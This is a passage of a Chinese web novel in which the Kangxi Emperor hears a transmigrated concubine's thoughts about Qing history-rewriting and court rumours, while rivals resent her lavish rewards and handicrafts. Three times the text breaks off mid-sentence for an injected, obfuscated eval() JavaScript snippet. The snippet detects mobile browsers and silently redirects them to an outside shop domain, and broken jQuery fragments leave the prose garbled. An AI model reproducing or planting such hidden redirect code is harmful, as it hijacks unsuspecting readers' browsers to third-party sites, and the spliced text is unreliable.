第二次侍寝……失败中 召寝…… 召寝的口谕在当天下午就传到了永寿宫。 作为齐满月升为嫔位后第一次侍寝,在不明真相的永寿宫宫人眼中那可是要好好准备的大事情。 可对于知道真相的云秀等人,却有些一言难尽,毕竟在这之前齐满月被召侍寝过,可实际上却在暖阁里待了一宿。 这可不算什么好事,云秀心中想着,担忧的眼神也投向了齐满月。 齐满月倒是不在意这些,毕竟康熙不睡她,对目前的她而言倒也算是个好事,毕竟她可没做好心理准备。 见她面色平淡,云秀忍不住叹了口气,也罢,既然主子都不在意,她也不必着急,毕竟现在看来,皇帝对齐满月并没有因为没侍寝就失了宠爱。 对于皇帝时隔三个月后,再次进入后宫召寝这件事,后宫的女人们哪个不是眼巴巴瞅着。 皇上去皇贵妃宫里那叫应该,去宜妃和德妃宫里倒也能理解,毕竟那二人是宠妃,却没想皇上直接去了永寿宫见了个贵人,虽然皇上并未留宿,可却在去慈宁宫后直接封了嫔,不过一天的功夫就成了一宫主位。 这也就算了,谁曾想这第一晚上的侍寝竟然也是新晋的襄嫔。 “怎么就什么都摊上她了?”僖嫔愤愤地拍着桌子,“难不成就因为那张脸?我就不好看吗?” 旁边的宫人忍不住叹了口气,自家小主一会儿想得明白,一会儿想不明白的,也让她有些不知道该怎么劝说了。 “罢了,反正怎么都轮不到我。”僖嫔气了一会儿也就又明白过来了。 宫人见状赶忙给她倒茶,又给她找来一堆布料:“您与其盯着襄嫔娘娘,不如自己做点东西打发时间。” 僖嫔熟练地接过布料,开始一个个剪下形状,又熟练地在一旁拼贴起来,当然嘴上她也不忘讽刺道:“也就是襄嫔才想出这样铺张浪费的乐子,合该让皇上、太皇太后知道,我看到时候可有她得意的?” 宫人张了张嘴,一脸无语的看着房间一角大大小小十来幅布贴画,心中不禁暗自腹诽道:“您是嘴上没少嫌弃,手里也没少玩啊。” 其实倒也不怪僖嫔,后宫女子所玩的也没多少,舞文弄墨她不行,舞刀弄枪又怕违背了宫规,别的妃嫔尚且约几个朋友聚在一起赏花聊天,或是做女红,只她性格不好又因身份根本没什么可交好的人。 所以当永寿宫传出这种布贴画后,她终于找到了可以打发时间的东西,甚至这样的手工伴随着猫毛毡早已在后宫小嫔妃们之间流传起来。 只是大家相当默契地没敢让高位嫔妃们知晓,不过她们没想到的是她们倒是没暴露,可齐满月的心声暴露了。 “啊啊啊,我的布贴画还没做完呢!康熙今天该不会真的要我侍寝吧?”齐满月小心走进乾清宫寝殿,发现康熙还在一侧看折子,不由松了口气,“还好还好不是在床上等我。” 康熙看似沉浸在折子中,没有给她丝毫关注,可实际上他早已暗自打起精神,等着听齐满月的心声,不过他没想到第一个竟然是布贴画。 “布贴画?”康熙眼眸微微一顿。 他一向崇尚节俭,最讨厌后宫嫔妃铺张浪费、奢靡无度,可没想到齐满月竟敢背着他偷偷摸摸折腾出什么布贴画。 “后宫那些布贴画是你的主意?”想了想他故作已经知晓试探道。 齐满月本来站在原地打算无限降低自己的存在感,却没想到康熙突然开口问她,不由一愣后才赶忙回道:“奴……不,臣妾……臣妾……是臣妾的主意。” “啥玩意!?布贴画?我不是只在永寿宫玩的吗?啥时候后宫也有了?有内鬼!停止交易!” 康熙看着她面上的胆怯娇弱的样子,耳边一直响着大胆的心声,忍不住揉了揉太阳穴。 都那么久了,他还是没习惯这样的交流方式,毕竟实在有些吵闹。 “你可知,朕要求后宫女子要简朴,你却要明知故犯?”康熙眼眸一顿,看似冰冷的眼底是带着一点逗弄的笑意。 齐满月咽了咽唾沫,只觉得自己好不容易到手的嫔位要飞走了。 想到这里她赶忙下跪请罪:“请皇上恕罪,臣妾所做布贴画用的布都是只能当作废物的碎布,做猫毛毛毡的也是自家猫薅下来的猫毛。” 康熙是没想到自己这一诈还有意外惊喜,不由挑了挑眉:“哦?那岂不是说朕冤枉了你?” 齐满月低垂着头,声音压在胸口,带着几分沉闷:“臣妾不敢,只是向来杀人判的是凶手,何曾判过武器。” “我去!狗皇帝!关我啥事啊!事情在流传中总会变样的,谁知道被人怎么添添减减的,关我这个最初的人什么事!?” 康熙被她一声久违的狗皇帝喊得脑袋瓜嗡嗡的,伸手按了按太阳穴,忍了忍,他抬手让齐满月起身,刚想要开口说些什么,就听到齐满月的心声继续响起。 “就像是你们清朝改史书,从你儿子雍正开始那恨不得把你底裤从黄的改成黑的!” 康熙眼眸一凛,他没想到这不过是逗趣一下这胆大的丫头,竟然还能捅出大料来。 想了想他并没有开口让齐满月起身,担心自己一开口会打断对方的心声,果然,他的沉默让齐满月的心声继续响起。 “说起来我记得后世考证过,老四登基后直接把老康的朱批全部收回进行处理,之后所有涉及到老康的史料都要一一过目才行。” “要不是有外国传教士的记载,真相怕是还真被掩盖了,可惜了后世人的人眼睛是亮的。” 康熙眼眸阴恻恻地扫了眼宫外,随后又若有所思地将目光放到齐满月身上。 若是…… 若是能够凭借齐佳氏的心声,将那些史书记载有误的地方一一纠正,那是不是可以编纂出一部绝对能让后世人信服的康熙朝官方史书,更甚者让这部历史成为未来唯一的准绳。 想到这里,他脑海中关于西洋传教士的处理方案都已经想了不下十条,更甚者如何将明史修得更“真实”也有了头绪时,却听到齐满月话锋一转,声音中带着几分笑意。 “清之改《实录》,累世为家法啊。” 这句话如同重锤敲在康熙的心里,他脑子有些发蒙地坐在御座上,心中闪过的第一个念头就是雍正和后世子孙到底将史书改到何种地步,竟得到后世人这样的讽刺。 心中百般揣测,那边的齐满月心声就为他做了解答。 “都怪雍正啊,把康熙朝实录改了又改,凡事批评他的统统删掉,夸别人的统统删掉,恨不得将汗阿玛从很小就看重我当太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557374|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 子这件事贴在康熙朝每个实录字缝里。” “真事隐去,假语存焉啊……” “说起来,老四也够努力的,别说他爹的实录敢动,孝庄的事件不也进行了删改,那恨不得将她淡化到不存在,也多亏了孝庄实在是清朝建立不可磨灭的痕迹,这才只是隐去了部分,就连谥号翊天启圣四个字都给删了,也是牛皮的。” “砰!”康熙在听到删自己的实录时,还觉得这也算小四为了统治不得已吧,勉强可以原谅,可听到对方连孝庄的实录都敢动手,彻底按捺不住脾气,直接摔了个茶盏。 “有病吧!又咋了!”这突如其来的动作把齐满月吓得赶忙跪在地上。 “起来吧,朕是被折子气到的,你找个地方坐着等吧。”眼瞅着心声的主人被自己吓到,想听的东西直接断了,康熙只能压下心中的脾气轻声劝道。 齐满月是没看出他压着脾气的,反倒在内心里感慨了一句:“真不愧是老四的爹,这脾气也是够捉摸不透的。” “朕继续看折子,你不要吵朕,饿了渴了就让梁九功去准备。”康熙眼瞅着对方开始乱发散思维了,也没心思去庆幸对方竟然夸了自己,赶忙假装低头看折子。 齐满月乖巧地点了点头找了个绣墩子坐下。 一时间房间里继续安静下来,齐满月也忍不住再次胡思乱想。 “哎,其实史书有什么可改的呢,但凡一个个乖乖按照实际记录下来,后世找不到可以有悖论的地方,自然也就相信了,偏偏都爱自作聪明为自己贴金到最后不仅成为大家嘲笑的丑角,还会被编造各种离谱的野史。” “说起来,后世一提起明史,哪个不骂几嗓子满清,你说往脸上贴金就算了,偏偏把明朝写烂,最后差点让人把底裤都扒拉下来,有什么用呢,大家不还是一点点从故纸堆里将真正的明史翻了出来嘛。” “不过……我记得我穿越前,大家流行什么传言来着?好像是……康熙是孝庄和洪承畴的崽!” 这次康熙终于压抑住了自己的脾气,尽管一双手将折子握得不成样子,面上却依稀还能保持着仅有的平淡。 “咦?怎么感觉好冷?”随着齐满月再次响起心声,康熙深吸了口气,再次努力压下满腔怒火。 “哎,要是清朝好好修明史,说起来后世会稍微能接受一点他们吗?好好奇啊……” 齐满月最后一句有用的心声落下后,康熙眉眼中闪过几分纠结,转瞬又变得坚定:“修!绝对按照真实的历史来修!朕就不相信就算这样,他们还能造朕的谣!” “啊……有点犯困了,今晚还睡不睡啊……” 仔细在心中盘算好,康熙才听到一旁打瞌睡的齐满月身上传来的一点充满困意的心声。 他看了眼西洋钟,确实已经很晚了,这才起身说了句:“更衣吧。” “啥!?来真的!?” 康熙看着齐满月脸上难以掩饰的惊讶带着些许惶恐,忍不住轻笑道:“朕今日乏了,你去暖阁睡吧。” “啥?又暖阁!?”齐满月不可置信地在心里喊了一嗓子,却也乖顺地离开。 康熙揉了揉眉心,这会儿他心乱得很,根本没有和对方同房的心思,暖阁好啊,能听到心声也不用掩饰自己的失态…… 24. 夜间暴击 齐满月一向心大,即便是被康熙再次安排到暖阁,她也没多想什么,只乖乖地跑去睡觉。 只是她白日里其实睡过一觉了,加上现在自己住在永寿宫,可谓是山中无老虎猴子称霸王的状态,偶尔熬个夜做个手工都很平常,以至于这段时间过于放肆,现在已经睡不着了。 “啊啊啊,入睡好难啊……狗皇帝,叫我来干嘛啊,还不如待在永寿宫可以做手工呢。” 康熙在齐满月走后略坐了一会儿后就打算休息,结果还没躺到床上隔壁就传来齐满月的心声。 这次他的反应没那么大,反而有些习惯似的,继续着自己的动作,现在他都快习惯对方那一声声狗皇帝了。 却没想到齐满月下一句就接了句:“睡不着,让我想想前世看的那些康熙年间的资料,万一以后用到了呢。” 康熙动作一顿,将旁边的梁九功惊得忍不住看向了他。 康熙却摆了摆手:“行了,朕自己来。” 梁九功此时都不意外他拒绝人伺候,毕竟上次召齐满月侍寝,康熙也不曾让人侍奉。 康熙好半天没听到齐满月的心声,正微蹙眉以为今天听不到什么,打算好好睡觉时,隔壁心声开始如同连珠炮一样响起。 “说起来,康熙该不会真的有什么问题吧?我这么个大美人放身边都不动心?” 康熙没想到对方的第一句是这么个话,不禁咬了咬后牙根,没有一个男人会愿意被质疑这种能力,他此时都开始想着要不要跑隔壁将那女人抱进来,却听下一句继续响起。 “我记得前世看过红薯发的帖子,他老了之后可没少睡姑娘,啧啧,一把年纪了老不修。” “好像还传言他强抢人妻?把大臣的老婆留宫里,然后换了个人给人家,还非说那是人家老婆,啧啧,真是个昏君根苗哈哈哈哈哈哈。” 他?强抢人妻?!康熙都无语了,他后宫不敢说佳丽三千,可那也是环肥燕瘦皆有,而且他本身就一直养身节制,怎么会做出这样荒诞的昏君行径? 这次他倒没嫌弃齐满月骂自己昏君,如果这事是真的话,别说一个昏君,便是骂他堪比桀纣也未尝不可。 二十八岁的康熙自然想不到老年时期自己会做出什么举动,更不知道,虽然他老年确实喜欢年轻的汉军旗小嫔妃,但强抢人妻这个真纯属谣言。 “不过自己都看不上汉人,还专门祸害汉人小姑娘是真不要脸啊~” 康熙在这边赞同地点了点头,那边下一秒就差点将他惹毛。 “难说,他一脸麻子也可以说本身脸就不值钱嘛哈哈哈哈哈,麻爹、麻宝和麻草哈哈哈哈。” 康熙没听明白麻草什么意思,但是麻爹和麻宝他可是早就从对方的心声中听过的,只是许久没听了,还是不习惯,他深吸了一口气紧紧握着手,还是压下了心中些许不悦。 只是他没发现,自己现在对齐满月偶尔的放肆已经越来越不怎么生气了。 “可惜了,好色虽然算缺点,但以帝王的角度来说对国家影响不大,怠政就是他的罪过了,果然统治者就不能年纪太大,尤其是封建社会的皇帝。” “嗯……清朝算半奴隶半封建制度,将我汉人文明硬生生拖后了近百年啊……讨厌的满清,怎么就没让我去了大明!见一见朱元璋也行啊!” 康熙没想到齐满月心中,自己连朱元璋那样一个暴虐嗜杀的帝王都不如,一时间躺在床上有些泄气,后世的汉人就这样憎恶满清吗? 转念间,皇帝的本能让他下意识想起了一些血腥镇压的手段,想要将汉人那些反抗继续镇压直到他们恐惧。 “如果他顺着汉人的统治方式……”康熙刚想听听她的高见。 “也不行,他才是满人入关后第二任皇帝,很容易失去基本盘啊……好难,幸好我不是皇帝。” 康熙赞同的点了点头,齐满月别的不说,有时候还是有些自知之明的,也让他安心不少,至少他不用担心齐满月这位拯救者真有想做武则天的心思。 “穿清不造反,菊花钻电钻啊,要不是我被选入宫里,还真想去民间揭竿而起来场反清复明,啧。”却没想到齐满月再次打了他的脸。 “算了算了,不想了。”这句心声一起,康熙放下心来,打算好好睡一觉,却没想到下一秒对方继续精神起来。 “嗯……睡不着,让我想想宜妃这一个应该是……财神九?” “啧!” 康熙刚想这个财神九是个什么名号,难不成自己这个孩子还是个什么神仙转世时,就听到心声紧接着一个嫌弃的啧声,他只能压下满心的急躁耐心听着。 “倒是小十三啊,那可是真正的经济大手,老九不过是卖官、敲诈、做买卖,虽然给老八的八爷党提供财力支持,可在小团体里可连支配权和话语权都不高,反倒我们小十三,那就一个牛批!” 康熙已经反应过来,这个财神九是个儿子了,毕竟能够涉及卖官也只能是儿子了,不过八爷党……?他眉头紧皱,不过转瞬也明白过来,既然太子被他二废二立,又是老四登基,那其他儿子们一定是发生了他所不想看到的兄弟相争。 不过……小十三?他愣了下,这个还没出生的儿子怎么就被齐满月如此推崇? 想了想,他决定再等等齐满月的心声,可没想到这一等,等了大半宿,对方只传来一些梦呓。 “皇……皇上?”梁九功一早进来后,看着康熙眼下的阴影,不由一愣,本该习惯流畅的动作都跟着顿了顿。 康熙打了个哈欠不在意地摆了摆手,随后揉着太阳穴问道:“襄嫔呢?” “襄嫔娘娘一早就去承乾宫请安了。”梁九功恭敬回道。 “嗯。”康熙点了点头,实在没法说自己为了等儿子的信息等了大半夜,反倒是人家睡得香得很,只能叹了口气后说道,“记得赏襄嫔。” “是。”梁九功赶忙记下,只等一会儿就吩咐宫人按照常例送些东西,却听康熙继续吩咐,只是随着康熙的吩咐,梁九功脸上的惊讶越发浓郁。 他没想到这不过侍寝两次还都没成功的新任襄嫔,皇上竟然会赏赐那么多东西,看来这位将来至少也是个妃位,心中对齐满月的态度也再次谨慎几分。 这边康熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560314|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 安排好就直接上朝去了,那边的齐满月却在成为一宫主位后第一次请安,她一边感慨着总算能蹭个位置时,还不忘一边应付妃嫔们的调侃。 不过也多亏了皇贵妃在,众人也不过是调侃了一两句也就罢了,毕竟就算醋也该醋不仅受宠还再次有孕的宜妃,还有今年又生了个孩子的德妃。 皇贵妃没有给彤册用印,自然知道齐满月未曾真的侍寝,当然真的侍寝她也不会多想什么,对方这样的身份足以让皇上这般重视。 打断了几位嫔妃的调侃,她这才带着众人去慈宁宫请安。 孝庄并不是每次请安都单独留齐满月聊天,不过三五天里总有一次,众人都在想这次她晋封主位娘娘,孝庄应该会留下她聊聊的,却见孝庄直接摆手让她们直接离开,不免有些诧异地看向齐满月。 齐满月倒是淡定,她并不想经常陪老人家聊天,尤其是掌握了自己生杀大权的老人,需要一直提着精神太累了。 这样的心声落在孝庄耳中,她也没在意,今天她实在有要紧的事情,不想多说什么。 众嫔妃走在宫道中,僖嫔最耐不住性子,忍不住拉着端嫔念叨着。 端嫔自从皇二女夭折后,就一直在后宫如同个透明人,别说侍寝,就算是日常也不爱出门,与僖嫔这样性格的人简直是两个极端,所以当僖嫔拉着她聊天时,她只恨不得消失在原地,免得被那些高位嫔妃们注意。 只是她再三挣脱都没用后,只能抿了抿唇说道:“听说是淑慧长公主回京了。” “难怪……”僖嫔收回拉着端嫔的手,若有所思点了点头后顺势接了一句,“还是你们出身包衣的女子消息灵通。” 端嫔没想到她来那么一句,忍不住抽了抽嘴角,默默地往前多走了几步。 僖嫔刚说完就反应过来了,如今高位嫔妃里,除了贵妃钮祜禄氏、皇贵妃佟佳氏,其余四妃基本上都是包衣籍女子。 想到这里她忍不住撇了撇嘴,甩了几下帕子,脚下却忍不住往后退了几步,将自己藏在别的嫔妃身后。 后面闹的事传入前面几人眼中,竟然不约而同翻了个白眼。 难不成她们还能和赫舍里计较,便是皇帝再不愿意宠幸赫舍里氏女子,可到底是元后、太子母族,她们可不愿意真心得罪,反正僖嫔这人她们也知道,本就是没心没肺嘴硬的,理她作甚。 几人就这样默契地无视了后方的动静。 皇贵妃更不想搭理,她这个身份管束赫舍里氏一不小心就是惹出两家纷争来,何必为了个吉祥物折腾。 想到这里她忍不住露出一抹苦笑,莫说赫舍里,就算是她又何尝不是家族送进宫里的吉祥物。 一想到这些,她到了承乾宫连规矩都没顾,直接让妃嫔们在宫门口散去。 众人看了眼她脸色并不甚很好,低位嫔妃不敢多嘴却不免暗自庆幸不必受苦,僖嫔只当对方被自己不小心气到了,其余四妃也同样认为,无人再多说什么,便各自散去。 皇贵妃一进主殿,就见乾清宫的梁九功正恭敬地守在殿前,她心下一动,瞬间有种莫名的酸涩涌上心头…… 25. 震惊后宫的赏赐 如同皇贵妃所猜测的那样,梁九功的来意确实和齐满月有关。 “任她玩乐?”看着秋月客气送走梁九功,皇贵妃倚靠在软榻上,脸上带着复杂的表情。 “主子……”秋月自幼陪着对方,哪里见过对方这样迷茫且带着连自己都不易察觉的伤心神色,心下不由有些酸软,对那位高高的帝王也多了几分责备,自家主子何等人品,何等家世容貌,怎么就不好好宠了。 可这话她又无法说出口,毕竟在外人看来,给了主子副后的位置,又给了管理后宫的权力,何尝不是帝王的宠爱。 她无声叹了口气,刚刚梁九功那句“皇上让奴才叮嘱娘娘,襄嫔娘娘的事情您也清楚,只要她不要太过奢靡,其他的您且随她玩闹就是。” 不仅扎进了皇贵妃心里,更扎进了承乾宫宫人心里,皇帝何等宠溺这个新任的襄嫔,才会特意安排总管太监梁九功,巴巴过来叮嘱皇贵妃一遍。 皇贵妃深吸了几口气,将心中的那口郁气吐出后,才打起精神开口:“秋月,你去查一下,襄嫔可是出了什么稀奇玩意儿,皇上还专门叮嘱我不要随便拘束她。” 秋月点头就要应下,旁边一个伺候的小宫女却机灵地直接跪下请功:“回娘娘,奴婢知道。” 皇贵妃抬手打断了秋月因小宫女贸然开口而想责备对方的动作:“你说。” 小宫女咽了咽口水,将齐满月折腾出来的布贴画和猫毛毛毡的事情讲了一遍。 “这襄嫔……还真有胆子。”秋月见过最大胆的嫔妃也就是僖嫔和宜妃了,可即便她们在宫规之下也是乖乖守着规矩,从未有齐满月这种,在宫规之下还能折腾出花儿来的。 “布贴画?猫毛毛毡?”皇贵妃没想到齐满月折腾出这个,不过心下也不由松了口气,好歹不是什么真的触动宫规的事情,倒不会让她难做。 “罢了,一个用那些本就要扔的碎布,一个是用的猫毛,倒也不算违反宫规。”她声音顿了下,才继续说道,“说起来,本宫还真有些好奇,秋月你去永寿宫要几幅来,就说本宫也想看看。” 秋月恭敬应下后,服侍着看着脸色还有些不好的皇贵妃睡在贵妃榻上,才往永寿宫去。 内务府的人正在给永寿宫铺宫,秋月本来还没打算细看,毕竟内务府铺宫多是那些惯例的物什,也没什么值得关注的。 可不承想,她余光一瞥,竟看到那一组组黄花梨家具用的竟然是她都不曾看到过的上等黄花梨不说,那镀金云纹包角怎么看都不像是铁的,竟像是铜的。 “这……”她心中大惊,忙微垂着头,暗自扫着内务府宫人一件件搬入主殿的东西。 要知道康熙的后宫一向等级森严,且严禁宫妃们使用奢靡超规格的物品,所以一般的嫔位用的多是上等红酸枝的家具,只有到了妃位才会谨慎地选择黄花梨的家具,即便如此像是部分妃嫔为展示自己简朴的性子也会选择一些红酸枝的家具。 而永寿宫主殿里竟然只有黄花梨,便是边角的花几都没用红酸枝。 秋月心中不住咋舌,对于齐满月受宠的感觉再次被拔高,就在云秀招呼她的时候,她眼睛就瞥见两个小太监捧着紫檀木的笔筒和插屏小心摆到书桌上。 秋月忍不住愣在原地,这紫檀木的东西一向是皇帝、皇后专属,便是亲王也不过只能拥有一两个手把件,而齐满月不过一个嫔位竟然也用上了。 她自然知道没有皇上的命令,没人会敢违反宫规,内务府的人精更不会,想到这里她不免在心中为自家主子叫冤。 “不知道秋月姐姐所来何事?可是皇贵妃娘娘有什么吩咐?”云秀自然看到了她眼睛看向的地方,心中也不免感慨一声,她们永寿宫的人在刚刚圣旨来的时候就已经震惊过了,此时看着这些超规格的东西也就觉得没那么惊讶了。 秋月回过神,忙温和笑着:“是我家娘娘好奇襄嫔娘娘做的布贴画和毛毡,让我来问问娘娘可有闲置的,我家娘娘想把玩把玩。” 云秀没想到这事儿传到皇贵妃耳中,见秋月脸上不见丝毫异常,便只能将那份担心按在心里,轻声应道:“我家娘娘还在偏殿,不如秋月姐姐随我进去一说,让我家娘娘选上几幅好的。” 秋月自然没什么可反驳的,两人相携来到偏殿,彼此细细说了一通后,齐满月笑着应下:“本宫的手艺谈不上太好,皇贵妃娘娘能看得上是本宫的福气。” 说着又去吩咐云秀:“我的眼光总是不好,你且帮我给娘娘选上一些,便是都拿走也无妨。” 云秀笑着应下,秋月又忙行礼致谢,随后便跟着云秀拐进了一旁的工作间。 琳琅满目的画作洋洋洒洒地摆了满满两个博古架,上面亦或是华丽宫殿、田园风情,亦或是佳人嬉闹,偶尔也有些穿着西洋服饰的场景,更甚有些宛如天上宫阙一般仙气飘然。 秋月是选了这个又舍不得那个。 云秀见状只让她大胆地选,她家娘娘别的没什么,就独爱做些这些,以后指不定做多少,都怕没地方放了。 秋月与她调笑几句后,便每个风格的各选了一幅,又挑了一套毛毡摆件和杯垫,才提出告别。 云秀喊了两个小宫女帮她抱着这些东西,抬脚就要送她出门。 一路往永寿宫宫门走去,正巧碰到三十来个小太监捧着东西匆匆而过。 秋月看着那一盘盘珍宝布匹,脸上的表情实在有些五味杂陈。 她倒没有多说什么只带着东西匆匆离开。 云秀见她离开后,脸上带着几分担忧钻进偏殿。 一进偏殿就看齐满月抱着皇上赏的新口味的饽饽吃的开心,忍不住恨铁不成钢道:“刚刚皇上的赏赐都被秋月姑姑看到了,您是真心大。” 齐满月无奈耸了耸肩,见她担忧不见削减半分,才说道:“你说的好像瞒得住一样,你信不信不出明日,我得的赏赐就传遍后宫了,就和家具一样,我总不能跑去和皇上说,我不要赏赐~我又不傻。” 云秀张了张嘴,一时没想到反驳的理由,只能无奈摇了摇头转身离开。 如同齐满月所说的那样,当天下午,她被赏赐的东西就传遍了后宫。 第一个爆发的还是僖嫔。 “吃的喝的也就算了,后宫生了皇女的妃嫔也不过赏赐三百两,皇上竟然也给了她额外赏了三百两?” “这也就算了,就那些妆缎、蟒缎、云缎、宫绸布匹、皮料、首饰,这样的数量、这样的品质,都快和皇后千秋节的赏赐一样了吧?” 僖嫔忍不住猛吸了几口气,还是没压住心中那股子酸涩,她抬手摸了摸自己的脸:“难不成长得好看就那么重要,那我长得也不差啊!” 她的宫人张了张嘴,一时间没想起怎么宽慰她,毕竟皇上这次可是没让太皇太后代他赏赐,而是明旨直接赏的,简直是明晃晃告诉后宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17562063|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 众人,襄嫔是如何得他心的。 “不对!”僖嫔数落着猛地反应过来,“皇上这和先帝宠爱董鄂氏有何区别,太皇太后竟然没阻止他吗?” 宫人赶忙摇了摇头:“没有,甚至太皇太后另加了一份赏赐过去。” 想了想她抬眼小心看了眼僖嫔,才略压低了声音说道:“听说……皇贵妃娘娘、贵妃娘娘,还有四妃都给送了贺仪。” 僖嫔倒吸一口气:“这是皇帝的宠妃还是天上的仙女,亦或是那会迷惑凡人的妖……” 她未曾说出口的话,被宫人一把子捂住。 僖嫔瞬间也反应过来,脸白了一瞬,赶忙端起茶水,连凉热都不顾了,直把水往嗓子眼儿里灌,好半天之后才缓了口气,拍了拍自己的嘴:“我啊……迟早被自己这张嘴给害……害了。” 宫人此时也缓了过来,丝毫不顾主仆身份,重重地点了几下头。 僖嫔这会儿也不顾齐满月那边得了什么了,只求不会隔墙有耳,亦或是皇上看在她的母族份儿上,知道了也当不知道。 不过她不说也没用,后宫那么大从不缺私下议论的人。 有些宫人咋舌于襄嫔的受宠,有些感慨她的美貌和性格,有些对她的手工颇感兴趣,有些则调侃过去的宜妃和德妃可没这样的厚宠。 这样的话自然也会传入到几个主位娘娘耳中,即便整个翊坤宫都知道要瞒着自家有身孕的娘娘,可满清的后宫就那么大点的地方,又能瞒过几日。 就这样,不出三日这话就传入了宜妃耳中,一同传入的还有皇帝今日又给永寿宫襄嫔送了什么奇特的东西。 “这襄嫔……还真是有手段,不过是侍寝两回而已,若是让她这样下去,岂不是没有你我的立锥之地了?”她抚摸着肚子,眼中闪过担忧。 德妃见状,忙开口宽慰她:“咱们皇上本就不是那等薄情之人,你且把心放在肚子里吧。” 宜妃脑子里闪过惠妃和荣妃,这二位早已无了侍寝,可皇上对她们倒也时常关心,真不像个薄情冷心的人,这样想着心下一松,脸上也不免带上几分轻松。 德妃见她这样,心下也放松下来,想了想才说道:“我总觉得那襄嫔身上有些奇异之处,你想皇上如此明目张胆地宠爱,可慈宁宫的那位可是一点没反对,甚至自己还不住的赏赐,更别说皇贵妃娘娘了。” 宜妃听她这么一说,也觉得蹊跷:“是啦,咱们这位爷可不是那等痴迷女色的,不然卫氏也不至于还是这么个地位,不过……到底有什么蹊跷呢?” 到底有什么蹊跷?这样的念头同样在惠妃脑海中闪着。 她蹙着额角,看着不住闹腾的大阿哥,只恨不得将他塞回肚子里,可想到这是自己唯一的儿子又只能忍了下来:“行了!” 最终她忍不住呵了一声后,才说道:“本宫让人去请襄嫔,只是如何从襄嫔手中拿到那些机括之物,看你自己的本事,本宫可没脸为了你抢别人心头好。” 大阿哥可不在意自家额娘的话,他早就从太子口中得知了黄履庄这人,一心以为太子那里会有这些玩意儿,他还等着蹭着玩玩,不承想他汗阿玛直接将东西塞进了永寿宫新主位娘娘手里。 他自然不好直接上门去要,只能找自己额娘,看能不能从后宫下手了。 毓庆宫太子听到了来自后宫的消息,自然也明白了大阿哥的想法,眉眼一转,不由起了个主意。 26. 铺宫后 “娘娘……”秋月回到承乾宫后先让小宫女将东西放到殿里摆好,才犹豫地走到已经休息好的皇贵妃身前。 皇贵妃见她犹犹豫豫一副不敢上前的模样,忍不住皱了皱眉。 秋月跟着她从佟佳府到皇宫,从庶妃到皇贵妃,走过了何止一两年的风雨,可从未碰到过这样一脸为难却不肯直言的情况。 “直说便是,你我什么关系。”她轻笑着虚点了一下秋月的额头。 秋月无声叹了口气,才将刚刚永寿宫看到的一切简单说了一遍。 她固然为了顾忌皇贵妃的心情而将一切说得简单且稀松平常,可实际上那一字一句砸在皇贵妃的心上,直把她砸得头昏眼晕。 皇贵妃虽然从皇帝让梁九功巴巴来找她叮嘱一番的举动能看出来,对方对这个齐佳氏或许并不只是执行者和拯救员的关注。 可她没想到皇帝可以做到这样的地步。 这样的赏赐,这样的铺宫,以后呢? 若是有一日对方封妃又该如何封赏? 而且…… 她心中闪过一抹莫名的担忧,皇上真的会让对方止步于妃位吗? 会不会有一天…… 皇贵妃赶忙摇了摇头,打断了心中那让她带着些许委屈但多是无措恐惧的念头。 “罢了,皇上疼宠她,便是破例也不算太过。”她摆了摆手,让秋月退下。 秋月见她连自己带来的东西都没心思看,不免有些担忧,可仔细想想这样的事谁又不会难过伤心,她又如何能让主子开怀,只能叹着气轻手轻脚退下。 “表哥啊……她难不成也是你的董鄂氏,你的东哥宸妃?”一声轻喃在许久后打破了承乾宫的寂静。 一滴泪顺着皇贵妃的眼角缓缓掉落在她的帕子上,将鹅黄色的帕子染出一枚铜钱大小的深色。 顺着眼泪而上,浅淡的泪痕之上,那双漂亮的眸子里,在早已淡去的细微伤心中,渐渐染上了冷静:“齐佳氏……” 皇帝丝毫没在意自己对齐满月的破例赏赐,会对后宫那些女人造成何等影响,他此时只满心想着,自己这次大笔嘉赏,不知道能不能让襄嫔那个丫头在心里少骂自己几句,当然最好能够夸上几句。 心里这样的想法不断地闪现着,眼前的奏折也越看越觉得烦躁。 梁九功今日心中不住纳罕,更是忍不住数次偷偷看向康熙。 往日皇上在批阅奏折时,那是要有多专注有多专注,有时甚至会要求他们不能发出丝毫声响。 可今日奇怪了,皇上竟然会时不时看向窗外,手中的折子好半晌都没换一个了。 “永寿宫那边怎么样了?”康熙揉搓着手中的朱笔,最终还是没沉住气问道。 梁九功听他这样说,刚刚的惊讶也消散了,顿时觉得皇上这番坐立不安的模样竟然也情有可原了。 心里这样百转千回,可面上他还是恭敬回道:“听说今日铺宫了,具体的下面人还没回复,只赐赏的小太监说,襄嫔娘娘还是很高兴的。” “这样啊……”康熙撂下朱笔,指尖不住摩挲着扳指。 